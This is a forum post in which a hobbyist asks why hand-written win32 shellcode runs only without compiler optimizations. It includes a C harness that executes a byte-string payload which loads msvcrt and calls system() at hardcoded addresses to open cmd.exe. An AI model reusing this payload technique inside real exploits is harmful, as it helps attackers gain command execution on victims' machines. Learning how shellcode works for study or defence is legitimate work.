shellcode not executing if optimizations are on.

Ok so I'm still trying my hand at writing shellcode for
win32.
My problem is my code executes fine as long as i compile
with out optimizations, If i disable optimizations it
executes fine and i get my cmd.exe shell. Could anyone
throw me a fricken bone and tell me what I'm doing wrong?
You can find my inline asm at (which this is based off
of): http://sh0dan.org/files/llacmd.txt.
But if you're lazy like I am you'll probably just want to
see this:

#include <stdio.h>

int main(int argc, char **argv) {
        char shellcizode[] =
        "\x55" // push ebp
        "\x8b\xec" // mov ebp, esp
        "\x53" // push ebx
        "\x56" // push esi
        "\x57" // push edi
        "\x8b\xe5" // mov esp, ebp
        "\x55" // push ebp
        "\x8b\xec" // mov ebp, esp
        "\x33\xff" // xor edi,edi
        "\x57" // push edi
        "\x57" // push edi
        "\xc6\x45\xf8\x6d" // mov byte ptr ss:[ebp-8],6d
        "\xc6\x45\xf9\x73" // mov byte ptr ss:[ebp-7],73
        "\xc6\x45\xfa\x76" // mov byte ptr ss:[ebp-6],76
        "\xc6\x45\xfb\x63" // mov byte ptr ss:[ebp-5],63
        "\xc6\x45\xfc\x72" // mov byte ptr ss:[ebp-4],72
        "\xc6\x45\xfd\x74" // mov byte ptr ss:[ebp-3],74
        "\xb8\xe8\xfe\xe9\x77" // mov
eax,kernel32.loadlibraryA;
        "\x50" // push eax
        "\x8d\x45\xf8" // lea eax, dword ptr ss:[ebp-8]
        "\x50" // push eax
        "\xff\x55\xf4" // call dword ptr ss:[ebp-c]
        "\x58" // pop eax
        "\x58" // pop eax
        "\x58" // pop eax
        "\x33\xc0" // xor eax,eax
        "\x50" // push eax
        "\x50" // push eax
        "\xc6\x45\xf8\x63" // mov byte ptr ss:[ebp-8],63
        "\xc6\x45\xf9\x6d" // mov byte ptr ss:[ebp-7],6d
        "\xc6\x45\xfa\x64" // mov byte ptr ss:[ebp-6],64
        "\xc6\x45\xfb\x2e" // mov byte ptr ss:[ebp-5],2e
        "\xc6\x45\xfc\x65" // mov byte ptr ss:[ebp-4],65
        "\xc6\x45\xfd\x78" // mov byte ptr ss:[ebp-3],78
        "\xc6\x45\xfe\x65" // mov byte ptr ss:[ebp-2],65
        "\xb8\xc3\xaf\x01\x78" // mov eax, 7801AFC3; addy of
system() from msvcrt
        "\x50" // push eax
        "\x8d\x45\xf8" // lea eax, dword ptr ss:[ebp-8]
        "\x50" // push eax
        "\xff\x55\xf4" // call dword ptr ss:[ebp-c]
        "\x83\xc4\x04" // add esp, 04h
        "\x5c" // pop esp
        "\xc3"; // ret we're done!
        ((void (*)(void))&shellcizode)();

        return(0);
}
I'm sure the formatting got totally screwed but basically
i'm calling loadlibrary a with msvcrt to be able to use
the address of system() to execute cmd.exe. Now this only
works IF optimizations are disabled. any hints??
Thanks,
